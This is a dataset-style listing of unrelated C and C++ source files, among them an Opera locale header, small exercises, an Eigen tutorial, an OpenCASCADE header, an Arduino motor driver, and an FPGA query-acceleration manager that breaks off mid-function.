text
stringlengths
8
6.88M
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- ** ** Copyright (C) 2002-2010 Opera Software ASA. All rights reserved. ** ** This file is part of the Opera web browser. It may not be distributed ** under any circumstances. */ #ifndef LOCALE_ENUM_H #define LOCALE_ENUM_H /** * "Namespace" for locale strings. Used not to clutter the global namespace, * since there are a lot of these enums. The name is short since it is * expected to be used a lot. * * @author Peter Krefting * @see OpLanguageManager */ #ifdef LOC_STR_NAMESPACE // If possible, make this a namespace so that Str::LocaleString can be // forward-declared namespace Str { #else class Str { public: #endif // LOC_STR_NAMESPACE /* * Locale string identifiers. * * This enumeration contains all the locale strings used by Opera. These * values are used by the LanguageManager to identify the strings, and * are used in the dialog and menu templates to determine their * location. * * You MUST NOT rely on the numerical equivalent of the enumeration * members (the only exception is that NOT_A_STRING is equal to zero). * * DO NOT EDIT the .inc file directly, it is generated automatically by * the operasetup.pike script from the language database file in the * strings module. Any changes done locally to this file will be LOST. * * Platforms re-implementing the LanguageManager might also want to * re-implement or change how this enumeration list is generated to suit * their platform's needs. As long as the enumeration names are kept, it * will be compatible. */ # include "modules/locale/locale-enum.inc" /** * Interface class for the locale string identifier. * * This class is used to encapsulate a locale string identifier. The sole * reason for this class is a bug in Visual C++ 6.0 which require * the sum of the length of the names in an enumeration not to exceed * 64 kilobytes. * * This class is light-weight (an int) and can be allocated on the stack * and passed to function calls. */ class LocaleString { public: // Constructors --- /** Construct a string from an enumeration value. */ LocaleString(enum StringList1 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList2 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList3 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList4 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList5 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList6 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList7 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList8 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList9 id) : m_id(int(id)) {} /** Construct a string from an enumeration value. */ LocaleString(enum StringList10 id) : m_id(int(id)) {} /** Construct a string from another string. */ LocaleString(const LocaleString &s) : m_id(s.m_id) {} #ifdef LOCALE_MAP_OLD_ENUMS /** Construct a string from an integer. Supports both old-style * (unhashed) and new-style identifiers. Please avoid using this * if you can. */ explicit LocaleString(int); #else /** Construct a string from an integer. Please avoid using this * if you can. */ explicit LocaleString(int id) : m_id(id) {} #endif #ifdef LOCALE_SET_FROM_STRING /** Construct a string from a string representing the name of * the string (without the Str prefix). */ explicit LocaleString(const uni_char *); explicit LocaleString(const char *); #endif // Assignments --- /** Assign an enumeration value. */ inline void operator=(const enum StringList1 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList2 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList3 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList4 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList5 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList6 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList7 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList8 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList9 id) { m_id = id; } /** Assign an enumeration value. */ inline void operator=(const enum StringList10 id) { m_id = id; } /** Assign a string. */ inline void operator=(const LocaleString &s) { m_id = s.m_id; } // Comparison --- /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList1 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList2 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList3 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList4 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList5 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList6 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList7 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList8 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList9 id) const { return int(id) == m_id; } /** Compare to an enumeration value. */ inline BOOL operator==(const enum StringList10 id) const { return int(id) == m_id; } /** Compare to a string. */ inline BOOL operator==(const LocaleString &s) const { return s.m_id == m_id; } // Cast --- /** Convert to an integer. */ inline operator int() const { return m_id; } private: int m_id; }; }; #endif
/* -*- coding: utf-8 -*- !@time: 2020/3/2 21:02 !@author: superMC @email: 18758266469@163.com !@fileName: 0038_the_depth_of_the_binary_tree.cpp */ #include <environment.h> #include <selfFun.h> using self_envs::TreeNode; class Solution { int ret = 0; public: int TreeDepth(TreeNode *pRoot) { if (pRoot == nullptr) return 0; get_localDepth(pRoot, 1); return ret; } void get_localDepth(TreeNode *pRoot, int preDepth) { if (pRoot->left == nullptr && pRoot->right == nullptr) { ret = max(ret, preDepth); } if (pRoot->right != nullptr) { get_localDepth(pRoot->right, preDepth + 1); } if (pRoot->left != nullptr) { get_localDepth(pRoot->left, preDepth + 1); } } }; int fun() { TreeNode *input = stringToTreeNode("{1,2,3}"); printf("%d", Solution().TreeDepth(input)); return 0; }
/* * File: main.cpp * Author: Daniel Canales * * Created on July 10, 2014, 1:05 PM */ #include <cstdlib> #include <iostream> #include <iomanip> using namespace std; /* * */ int main(int argc, char** argv) { //declare vairbales float fee = 2500; float newfee = 0; float rate = .04; //4 percent //set precision cout << fixed << setprecision(2) << endl; //create table cout << "Year Fee" << endl; cout << "-------------" << endl; //create loop for new fees for(int year=1; year<=6; year++) { //cal newfee by adding fee to the interest newfee += fee+(fee*rate); cout << year << " " << newfee << endl; } return 0; }
#pragma once #include "Person.h" using namespace std; class Customer : public Person { public: Customer(); Customer(string); ~Customer(); virtual void printName() const; };
// // Scene5.h // cg-projects // // #ifndef cg_projects_Scene5_h #define cg_projects_Scene5_h #include "Lens.h" struct Scene5 : public Scene { Scene5() : Scene() { defineGeometry(); defineLights(); } void defineLights() { Scene & scene = *this; Point3d pos(10,100,10); Color3d color(1,1,1); PointLight * p = new PointLight(pos,color, 10); scene.add_light(p); Point3d pos1(10,20,30); Color3d color1(1,1,1); PointLight * p1 = new PointLight(pos1,color1); scene.add_light(p1); } void defineGeometry() { Scene & scene = *this; #if !WITHOUT_TEXTURES BImage * b = new BImage("textures/checkerboard_lg.bmp"); BImage * w = new BImage("textures/warning.bmp"); #endif /* define some colors */ Color3d white(1.0); Color3d black(0.0); Color3d red(1,0,0.0); Color3d green(0,1.0,0.0); Color3d blue(0,0,1.0); scene.backgroundColor() = (blue + white) * 0.5; Point3d center(10,0,-2); double radius = 4; Sphere * sp = new Sphere(center,radius); sp->diffuse() = white; sp->reflection() = black; sp->specular() = white; sp->shining() = 16; #if !WITHOUT_TEXTURES sp->set_texture_map(b); #endif scene.add_object(sp); Point3d center1(0,0,-10); double radius1 = 4; Sphere * sp1 = new Sphere(center1,radius1); sp1->diffuse() = red + green * 0.8; sp1->reflection() = white * 0.2; sp1->specular() = white; sp1->shining() = 256; scene.add_object(sp1); #if !WITHOUT_TEXTURES sp1->set_texture_map(w); #endif Point3d center2(-10,0,-2); double radius2 = 4; Sphere * sp2 = new Sphere(center2,radius2); sp2->diffuse() = blue; sp2->reflection() = white * 0.5; sp2->transparency() = white * 0.5; sp2->index() = 2.0; sp2->specular() = white; sp2->shining() = 16; scene.add_object(sp2); Point3d center3(0,0,10); double radius3 = 4; Lens * sp3 = new Lens(center3,radius3); sp3->diffuse() = white * 0.1; sp3->transparency() = white * 0.9; sp3->specular() = white; sp3->shining() = 64; sp3->index() = 1.5; scene.add_object(sp3); //create a plane std::vector<Point3d> plane(4); std::vector<Point2d> plane_uv(4); double x = 100; double z = -4; plane[0] = Point3d(-x,z,-x); plane[1] = Point3d(-x,z,x); plane[2] = Point3d(x,z,x); plane[3] = Point3d(x,z,-x); plane_uv[0] = Point2d(0,0); plane_uv[1] = Point2d(0,1); plane_uv[2] = Point2d(1,1); plane_uv[3] = Point2d(1,0); Polygon * poly = new Polygon(plane,plane_uv); poly->diffuse() = ((blue + red) * 0.5 + white * 0.5) * 0.2; poly->reflection() = (blue + red) * 0.5 + white * 0.5; #if !WITHOUT_TEXTURES poly->set_texture_map(b); #endif scene.add_object(poly); } virtual void setDefaultCamera(Camera& camera) const { Point3d pos(-1,6,25); double fov_h = 50 / 180.0 * M_PI ; Point3d coi(0,0,-0); Vector3d up(0,1,0) ; // Point3d pos(0,8,35); // double fov_h = 30 / 180.0 * M_PI; // Point3d coi(0,0,-0); // Vector3d up(0,1,0) ; camera = Camera(pos,coi,up,fov_h); } virtual ~Scene5() { } }; #endif
//: C06:Constructor1.cpp // Kod zrodlowy pochodzacy z ksiazki // "Thinking in C++. Edycja polska" // (c) Bruce Eckel 2000 // Informacje o prawie autorskim znajduja sie w pliku Copyright.txt // Konstruktory i destruktory #include <iostream> using namespace std; class Tree { int height; public: Tree(int initialHeight); // Konstruktor ~Tree(); // Destruktor void grow(int years); void printsize(); }; Tree::Tree(int initialHeight) { height = initialHeight; } Tree::~Tree() { cout << "wewnatrz destruktora drzewa" << endl; printsize(); } void Tree::grow(int years) { height += years; } void Tree::printsize() { cout << "Wysokosc drzewa wynosi " << height << endl; } int main() { cout << "przed klamrowym nawiasem otwierajacym" << endl; { Tree t(12); cout << "po utworzeniu drzewa" << endl; t.printsize(); t.grow(4); cout << "przed klamrowym nawiasem zamykajacym" << endl; } cout << "po klamrowym nawiasie zamykajacym" << endl; } ///:~
/** @file */ #include <iostream> #include <vector> #include <string> #include <fstream> #include "User.h" #include "mono8.h" #include "mono16.h" #include "stereo8.h" #include "stereo16.h" #include "Limiter.h" #include "NoiseGate.h" #include "Echo.h" #include "analyzeWav.h" #include "csv.h" /** * \brief The function bar. * * \details This function does something which is doing nothing. So this text * is totally senseless and you really do not need to read this, * because this text is basically saying nothing. * * \note This text shall only show you, how such a \"note\" section * is looking. There is nothing which really needs your notice, * so you do not really need to read this section. * * \param[in] a Description of parameter a. * \param[out] b Description of the parameter b. * \param[in,out] c Description of the parameter c. * * \return The error return code of the function. * * \retval ERR_SUCCESS The function is successfully executed * \retval ERR_FAILURE An error occurred */ void fn(){ } //Due to time constraints, we were not able to create a solid UI, but we have the foundation in User.cpp. To test our code, we used the main. int main() { std::vector<std::string> fileIn; std::vector<std::string> fileOut; fileIn.push_back("yes-8bit-mono.wav"); fileIn.push_back("yes-8-bit-stereo.wav"); fileIn.push_back("yes-16-bit-mono.wav"); fileIn.push_back("yes-16-bit-stereo.wav"); fileIn.push_back("._yes-8bit-mono.wav"); fileIn.push_back("._yes-8-bit-stereo.wav"); fileIn.push_back("._yes-16-bit-mono.wav"); fileIn.push_back("._yes-16-bit-stereo.wav"); // UI user; // File IO and sound processor testing // AnalyzeWav test1(fileIn[0]); // AnalyzeWav test2(fileIn[1]); // AnalyzeWav test3(fileIn[2]); // AnalyzeWav test4(fileIn[3]); /* if(test1.getFileType() == 18) { std::cout << "This is a mono 8 bit file" << std::endl; Mono8 first(fileIn[0]); first.readFile(); first.writeFile("test1Output.wav"); fileOut.push_back("test1Output.wav"); Csv firstcsv(fileIn[0]); firstcsv.outputCSV("CSV1.txt"); } else if(test1.getFileType() == 116) { std::cout << "This is a mono 16 bit file" << std::endl; Mono16 first(fileIn[0]); first.readFile(); first.writeFile("test1Output.wav"); fileOut.push_back("test1Output.wav"); Csv firstcsv(fileIn[0]); firstcsv.outputCSV("CSV1.txt"); } else if(test1.getFileType() == 28) { std::cout << "This is a stereo 8 bit file" << std::endl; Stereo8 first(fileIn[0]); first.readFile(); first.writeFile("test1Output.wav"); fileOut.push_back("test1Output.wav"); Csv firstcsv(fileIn[0]); firstcsv.outputCSV("CSV1.txt"); } else if(test1.getFileType() == 216) { std::cout << "This is a stereo 16 bit file" << std::endl; Stereo16 first(fileIn[0]); first.readFile(); first.writeFile("test1Output.wav"); fileOut.push_back("test1Output.wav"); Csv firstcsv(fileIn[0]); firstcsv.outputCSV("CSV1.txt"); } //If the user decides to process sound Mono8 echoTest(fileOut[0]); echoTest.readFile(); Echo *Test1Echo = new Echo(5000); Test1Echo->processBuffer(echoTest.getBuffer(), echoTest.getBufferSize()); echoTest.writeFile("echo1.wav"); Mono8 noiseGateTest(fileOut[0]); noiseGateTest.readFile(); NoiseGate *Test1NoiseGate = new NoiseGate(9); Test1NoiseGate->processBuffer(noiseGateTest.getBuffer(), noiseGateTest.getBufferSize()); noiseGateTest.writeFile("noiseGate1.wav"); Mono8 limiterTest(fileOut[0]); limiterTest.readFile(); Limiter *Test1Limiter = new Limiter(); Test1Limiter->processBuffer(limiterTest.getBuffer(), limiterTest.getBufferSize()); limiterTest.writeFile("limiter1.wav"); /* if(test2.getFileType() == 18) { std::cout << "This is a mono 8 bit file" << std::endl; Mono8 first(fileIn[1]); first.readFile(); first.writeFile("test2Output.wav"); } else if(test2.getFileType() == 116) { std::cout << "This is a mono 16 bit file" << std::endl; Mono16 first(fileIn[1]); first.readFile(); first.writeFile("test2Output.wav"); } else if(test2.getFileType() == 28) { std::cout << "This is a stereo 8 bit file" << std::endl; Stereo8 first(fileIn[1]); first.readFile(); first.writeFile("test2Output.wav"); } else if(test2.getFileType() == 216) { std::cout << "This is a stereo 16 bit file" << std::endl; Stereo16 first(fileIn[1]); first.readFile(); first.writeFile("test2Output.wav"); } //If the user decides to process sound Stereo8 echoTest2(fileOut[1]); echoTest2.readFile(); Echo *Test2Echo = new Echo(5000); Test2Echo->processBuffer(echoTest2.getBuffer(), echoTest2.getBufferSize()); echoTest2.writeFile("echo2.wav"); Stereo8 noiseGateTest2(fileOut[1]); noiseGateTest2.readFile(); NoiseGate *Test2NoiseGate = new NoiseGate(9); Test2NoiseGate->processBuffer(noiseGateTest2.getBuffer(), noiseGateTest2.getBufferSize()); noiseGateTest2.writeFile("noiseGate2.wav"); Stereo8 limiterTest2(fileOut[1]); limiterTest2.readFile(); Limiter *Test2Limiter = new Limiter(); Test2Limiter->processBuffer(limiterTest2.getBuffer(), limiterTest2.getBufferSize()); limiterTest2.writeFile("limiter2.wav"); */ /* if(test3.getFileType() == 18) { std::cout << "This is a mono 8 bit file" << std::endl; Mono8 first(fileIn[2]); first.readFile(); first.writeFile("test3Output.wav"); } else if(test3.getFileType() == 116) { std::cout << "This is a mono 16 bit file" << std::endl; Mono16 first(fileIn[2]); first.readFile(); first.writeFile("test3Output.wav"); } else if(test3.getFileType() == 28) { std::cout << "This is a stereo 8 bit file" << std::endl; Stereo8 first(fileIn[2]); first.readFile(); first.writeFile("test3Output.wav"); } else if(test3.getFileType() == 216) { std::cout << "This is a stereo 16 bit file" << std::endl; Stereo16 first(fileIn[2]); first.readFile(); first.writeFile("test3Output.wav"); } //If the user decides to process sound Mono16 echoTest3(fileOut[2]); echoTest3.readFile(); Echo *Test3Echo = new Echo(5000); Test3Echo->processBuffer(echoTest3.getBuffer(), echoTest3.getBufferSize()); echoTest3.writeFile("echo3.wav"); Mono16 noiseGateTest3(fileOut[2]); noiseGateTest3.readFile(); NoiseGate *Test3NoiseGate = new NoiseGate(9); Test3NoiseGate->processBuffer(noiseGateTest3.getBuffer(), noiseGateTest3.getBufferSize()); noiseGateTest3.writeFile("noiseGate3.wav"); Mono16 limiterTest3(fileOut[2]); limiterTest3.readFile(); Limiter *Test3Limiter = new Limiter(); Test3Limiter->processBuffer(limiterTest3.getBuffer(), limiterTest3.getBufferSize()); limiterTest3.writeFile("limiter3.wav"); */ /* if(test4.getFileType() == 18) { std::cout << "This is a mono 8 bit file" << std::endl; Mono8 first(fileIn[3]); first.readFile(); first.writeFile("test4Output.wav"); } else if(test4.getFileType() == 116) { std::cout << "This is a mono 16 bit file" << std::endl; Mono16 first(fileIn[3]); first.readFile(); first.writeFile("test4Output.wav"); } else if(test4.getFileType() == 28) { std::cout << "This is a stereo 8 bit file" << std::endl; Stereo8 first(fileIn[3]); first.readFile(); first.writeFile("test4Output.wav"); } else if(test4.getFileType() == 216) { std::cout << "This is a stereo 16 bit file" << std::endl; Stereo16 first(fileIn[3]); first.readFile(); first.writeFile("test4Output.wav"); } //If the user decides to process sound Stereo16 echoTest4(fileOut[3]); echoTest4.readFile(); Echo *Test4Echo = new Echo(5000); Test4Echo->processBuffer(echoTest4.getBuffer(), echoTest4.getBufferSize()); echoTest4.writeFile("echo4.wav"); Stereo16 noiseGateTest4(fileOut[3]); noiseGateTest4.readFile(); NoiseGate *Test4NoiseGate = new NoiseGate(9); Test4NoiseGate->processBuffer(noiseGateTest4.getBuffer(), noiseGateTest4.getBufferSize()); noiseGateTest4.writeFile("noiseGate4.wav"); Stereo16 limiterTest4(fileOut[3]); limiterTest4.readFile(); Limiter *Test4Limiter = new Limiter(); Test4Limiter->processBuffer(limiterTest4.getBuffer(), limiterTest4.getBufferSize()); limiterTest4.writeFile("limiter4.wav"); */ return 0; }
// Created on: 1995-03-08 // Created by: Mister rmi // Copyright (c) 1995-1999 Matra Datavision // Copyright (c) 1999-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _StdSelect_BRepOwner_HeaderFile #define _StdSelect_BRepOwner_HeaderFile #include <Standard.hxx> #include <Standard_Integer.hxx> #include <Standard_Boolean.hxx> #include <TopoDS_Shape.hxx> #include <SelectMgr_EntityOwner.hxx> #include <PrsMgr_PresentationManager.hxx> class StdSelect_Shape; class SelectMgr_SelectableObject; class PrsMgr_PresentationManager; class TopLoc_Location; DEFINE_STANDARD_HANDLE(StdSelect_BRepOwner, SelectMgr_EntityOwner) //! Defines Specific Owners for Sensitive Primitives //! (Sensitive Segments,Circles...). //! Used in Dynamic Selection Mechanism. //! A BRepOwner has an Owner (the shape it represents) //! and Users (One or More Transient entities). //! The highlight-unhighlight methods are empty and //! must be redefined by each User. class StdSelect_BRepOwner : public SelectMgr_EntityOwner { DEFINE_STANDARD_RTTIEXT(StdSelect_BRepOwner, SelectMgr_EntityOwner) public: //! Constructs an owner specification framework defined //! by the priority aPriority. Standard_EXPORT StdSelect_BRepOwner(const Standard_Integer aPriority); //! Constructs an owner specification framework defined //! by the shape aShape and the priority aPriority. //! aShape and aPriority are stored in this framework. If //! more than one owner are detected during dynamic //! selection, the one with the highest priority is the one stored. Standard_EXPORT StdSelect_BRepOwner(const TopoDS_Shape& aShape, const Standard_Integer aPriority = 0, const Standard_Boolean ComesFromDecomposition = Standard_False); //! Constructs an owner specification framework defined //! by the shape aShape, the selectable object theOrigin //! and the priority aPriority. //! aShape, theOrigin and aPriority are stored in this //! framework. If more than one owner are detected //! during dynamic selection, the one with the highest //! priority is the one stored. Standard_EXPORT StdSelect_BRepOwner(const TopoDS_Shape& aShape, const Handle(SelectMgr_SelectableObject)& theOrigin, const Standard_Integer aPriority = 0, const Standard_Boolean FromDecomposition = Standard_False); //! returns False if no shape was set Standard_Boolean HasShape() const { return !myShape.IsNull(); } //! Returns the shape. const TopoDS_Shape& Shape() const { return myShape; } //! Returns true if this framework has a highlight mode defined for it. Standard_Boolean HasHilightMode() const { return myCurMode == -1; } //! Sets the highlight mode for this framework. //! This defines the type of display used to highlight the //! owner of the shape when it is detected by the selector. //! The default type of display is wireframe, defined by the index 0. void SetHilightMode (const Standard_Integer theMode) { myCurMode = theMode; } //! Resets the higlight mode for this framework. //! This defines the type of display used to highlight the //! owner of the shape when it is detected by the selector. //! The default type of display is wireframe, defined by the index 0. void ResetHilightMode() { myCurMode = -1; } //! Returns the highlight mode for this framework. //! This defines the type of display used to highlight the //! owner of the shape when it is detected by the selector. //! The default type of display is wireframe, defined by the index 0. Standard_Integer HilightMode() const { return myCurMode; } //! Returns true if an object with the selection mode //! aMode is highlighted in the presentation manager aPM. Standard_EXPORT virtual Standard_Boolean IsHilighted (const Handle(PrsMgr_PresentationManager)& aPM, const Standard_Integer aMode = 0) const Standard_OVERRIDE; Standard_EXPORT virtual void HilightWithColor (const Handle(PrsMgr_PresentationManager)& thePM, const Handle(Prs3d_Drawer)& theStyle, const Standard_Integer theMode) Standard_OVERRIDE; //! Removes highlighting from the type of shape //! identified the selection mode aMode in the presentation manager aPM. Standard_EXPORT virtual void Unhilight (const Handle(PrsMgr_PresentationManager)& aPM, const Standard_Integer aMode = 0) Standard_OVERRIDE; //! Clears the presentation manager object aPM of all //! shapes with the selection mode aMode. Standard_EXPORT virtual void Clear (const Handle(PrsMgr_PresentationManager)& aPM, const Standard_Integer aMode = 0) Standard_OVERRIDE; Standard_EXPORT virtual void SetLocation (const TopLoc_Location& aLoc) Standard_OVERRIDE; //! Implements immediate application of location transformation of parent object to dynamic highlight structure Standard_EXPORT virtual void UpdateHighlightTrsf (const Handle(V3d_Viewer)& theViewer, const Handle(PrsMgr_PresentationManager)& theManager, const Standard_Integer theDispMode) Standard_OVERRIDE; //! Dumps the content of me into the stream Standard_EXPORT virtual void DumpJson (Standard_OStream& theOStream, Standard_Integer theDepth = -1) const Standard_OVERRIDE; protected: TopoDS_Shape myShape; Handle(StdSelect_Shape) myPrsSh; Standard_Integer myCurMode; }; #endif // _StdSelect_BRepOwner_HeaderFile
#include <iostream> #include <ctime> //Eigen部分 #include <Eigen/Core> #include <Eigen/Dense> //稠密矩阵的代数运算 using namespace std; using namespace Eigen; #define MATRIX_SIZE 50 int main(int argc, char** aggv) { //Eigen以矩阵为基本数据单元,它是一个模板类 //前三个参数分别是:数据类型,行,列 //同时,Eigen通过typedef提供了许多内置类型 //不过底层仍是Eigen::Matrix //声明一个2*3的float类型矩阵 Matrix<float, 2, 3> matrix_23; //Vector3d实质上是Eigen::Matrix<double, 3, 1>,声明一个三维向量 Vector3d vector_3d; //Matrix3d实质上是Eigen::Matrix<double, 3, 3>,声明一个三维方阵 Matrix3d matrix_33; //如果不确定矩阵大小,可以使用动态大小矩阵 Matrix<double, Dynamic, Dynamic> matrix_dynamic; //矩阵的初始化操作 matrix_23 << 1, 2, 3, 4, 5, 6; vector_3d << 7, 8, 9; matrix_33 = Matrix3d::Zero(); cout << "matrix_23 = " << endl << matrix_23 << endl; cout << "vector_3d = " << endl << vector_3d << endl; cout << "matrix_33 = " << endl << matrix_33 << endl; //访问矩阵中的元素 for (int i=0; i<2; i++) { for (int j=0; j<3; j++) { cout << "matrix_23(" << i+1 << ", " << j+1 << ") = " << matrix_23(i, j) << endl; } } //矩阵和向量相乘本质上也是矩阵与矩阵相乘 //除了要维度匹配外,还要数据类型一致,不一致要进行数据类型转换 Matrix<double, 2, 1> result; result = matrix_23.cast<double>() * vector_3d; cout << "matrix_23 * vector_3d = " << endl << result << endl; //产生一个随机数矩阵 Matrix3d matrix_ran = Matrix3d::Random(); cout << "matrix_ran = " << endl << matrix_ran << endl; //矩阵的常见操作 cout << "matrix_ran' = " << endl << matrix_ran.transpose() << endl; //转置 cout << "sum(matrix_ran) = " << endl << matrix_ran.sum() << endl; //矩阵内所有元素之和 cout << "tr(matrix_ran) = " << endl << matrix_ran.trace() << endl; //迹 cout << "inv(matrix_ran) = " << endl << matrix_ran.inverse() << endl; //逆 cout << "det(matrix_ran) = " << endl << matrix_ran.determinant() << endl; //行列式 //特征值与特征向量 SelfAdjointEigenSolver<Matrix3d> eigen_solver( matrix_ran.transpose()*matrix_ran ); //实对称矩阵可保证对角化成功 cout << "Eigen_Values = \n" << eigen_solver.eigenvalues() << endl; cout << "Eigen_Vectors = \n" << eigen_solver.eigenvectors() << endl; //求解方程组:直接求解和QR分解法求解 //比较两种方法求解所花的时间 Matrix<double, MATRIX_SIZE, MATRIX_SIZE> matrix_Nd = MatrixXd::Random(MATRIX_SIZE, MATRIX_SIZE); // 产生一个随机矩阵的第二种用法 Matrix<double, MATRIX_SIZE, 1> vector_Nd = MatrixXd::Random(MATRIX_SIZE, 1); clock_t time_stt1 = clock(); //计时 Matrix<double, MATRIX_SIZE, 1> x = matrix_Nd.inverse() * vector_Nd; double time_normal = 1000 * (clock() - time_stt1) / (double)CLOCKS_PER_SEC; cout << "time use in normal inverse is: " << time_normal << "ms" << endl; clock_t time_stt2 = clock(); Matrix<double, MATRIX_SIZE, 1> y = matrix_Nd.colPivHouseholderQr().solve(vector_Nd); double time_Qr = 1000 * (clock() - time_stt2) / (double)CLOCKS_PER_SEC; cout << "time use in Qr decomposition is: " << time_Qr << "ms" << endl; return 0; }
#include "Engine.h" Engines::Engines() { pinMode(LEFT_PWM, OUTPUT); pinMode(LEFT_IN1, OUTPUT); pinMode(LEFT_IN2, OUTPUT); pinMode(RIGHT_PWM, OUTPUT); pinMode(RIGHT_IN1, OUTPUT); pinMode(RIGHT_IN2, OUTPUT); } void Engines::setEngineState(e_EngineSide side, e_EngineState state, uint8_t speed) { uint64_t firstSide = side & 0xFFFFFFFF; uint64_t secondSide = (side >> 32) & 0xFFFFFFFF; digitalWrite((firstSide >> 16) & 0xFF, (state >> 0) & 0x1); digitalWrite((firstSide >> 8) & 0xFF, (state >> 1) & 0x1); analogWrite(firstSide & 0xFF, speed); if(secondSide != 0) { digitalWrite((secondSide >> 16) & 0xFF, (state >> 0) & 0x1); digitalWrite((secondSide >> 8) & 0xFF, (state >> 1) & 0x1); analogWrite(secondSide & 0xFF, speed); } } void Engines::accelerate(e_EngineSide side, e_EngineState state, uint8_t speed) { currentSide = side; int delta = MAX_SPEED - speed; int step = delta / 10; for(int i = 0; i < 10; i++) { setEngineState(side, state, MAX_SPEED - (i * step)); delay(10); } } void Engines::stopSoft() { setEngineState(currentSide, SOFT_STOP, MIN_SPEED); } void Engines::stopSoft(e_EngineSide side) { setEngineState(side, SOFT_STOP, MIN_SPEED); } void Engines::stopImmediately() { setEngineState(currentSide, FAST_STOP, MAX_SPEED); } void Engines::stopImmediately(e_EngineSide side) { setEngineState(side, FAST_STOP, MAX_SPEED); }
/* Copyright 2021 University of Manchester Licensed under the Apache License, Version 2.0(the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http: // www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "fpga_manager.hpp" #include <iostream> #include <stdexcept> #ifdef FPGA_AVAILABLE #include <unistd.h> #endif #include <chrono> #include <iomanip> #include "addition_setup.hpp" #include "aggregation_sum.hpp" #include "dma_setup.hpp" #include "ila.hpp" #include "logger.hpp" #include "operation_types.hpp" #include "query_acceleration_constants.hpp" using orkhestrafs::core_interfaces::operation_types::QueryOperationType; using orkhestrafs::dbmstodspi::AcceleratedQueryNode; using orkhestrafs::dbmstodspi::FPGAManager; using orkhestrafs::dbmstodspi::logging::Log; using orkhestrafs::dbmstodspi::logging::LogLevel; void FPGAManager::SetupQueryAcceleration( const std::vector<AcceleratedQueryNode>& query_nodes) { // TODO(Kaspar): Doesn't reset configuration. Unused modules should be // configured to be unused. dma_engine_->GlobalReset(); read_back_modules_.clear(); read_back_parameters_.clear(); read_back_streams_ids_.clear(); read_back_values_.clear(); // if (ila_module_) { // ila_module_->StartAxiILA(); //} std::vector<StreamDataParameters> input_streams; std::vector<StreamDataParameters> output_streams; for (const auto& query_node : query_nodes) { bool is_multichannel_stream = query_node.operation_type == QueryOperationType::kMergeSort; FindIOStreams(query_node.input_streams, input_streams, query_node.operation_parameters, is_multichannel_stream, input_streams_active_status_); FindIOStreams(query_node.output_streams, output_streams, query_node.operation_parameters, false, output_streams_active_status_); /*input_streams_active_status_[0] = false; input_streams_active_status_[1] = true; output_streams_active_status_[0] = false; output_streams_active_status_[2] = true; output_streams_active_status_[4] = true; output_streams.push_back(output_streams[0]);*/ } // MISSING PIECE OF LOGIC HERE... // TODO(Kaspar): Need to check for stream specification validity. if (input_streams.empty() || output_streams.empty()) { throw std::runtime_error("Input or output streams missing!"); } dma_setup_.SetupDMAModule(*dma_engine_, input_streams, output_streams); dma_engine_->StartController(true, input_streams_active_status_); if (ila_module_) { ila_module_->StartILAs(); } for (const auto& query_node : query_nodes) { module_library_->SetupOperation(query_node); auto readback_modules = module_library_->ExportLastModulesIfReadback(); if (!readback_modules.empty()) { for (auto& readback_module : readback_modules) { // Assuming there's only one input stream for readback modules currently if (query_node.input_streams.front().stream_id != 15) { read_back_modules_.push_back(std::move(readback_module)); // Don't know how this will work out with combined readback modules as // we don't have any at the moment. read_back_parameters_.push_back( query_node.operation_parameters.at(1)); // Assuming one output read_back_streams_ids_.push_back( query_node.output_streams.front().stream_id); } } } } } void FPGAManager::FindIOStreams( const std::vector<StreamDataParameters>& all_streams, std::vector<StreamDataParameters>& found_streams, const std::vector<std::vector<int>>& /*operation_parameters*/, const bool /*is_multichannel_stream*/, std::bitset<query_acceleration_constants::kMaxIOStreamCount>& stream_status_array) { for (const auto& current_stream : all_streams) { // Stream ID 15 reserved for passthrough if (!current_stream.physical_addresses_map.empty() && current_stream.stream_id != 15) { found_streams.push_back(current_stream); stream_status_array[current_stream.stream_id] = true; 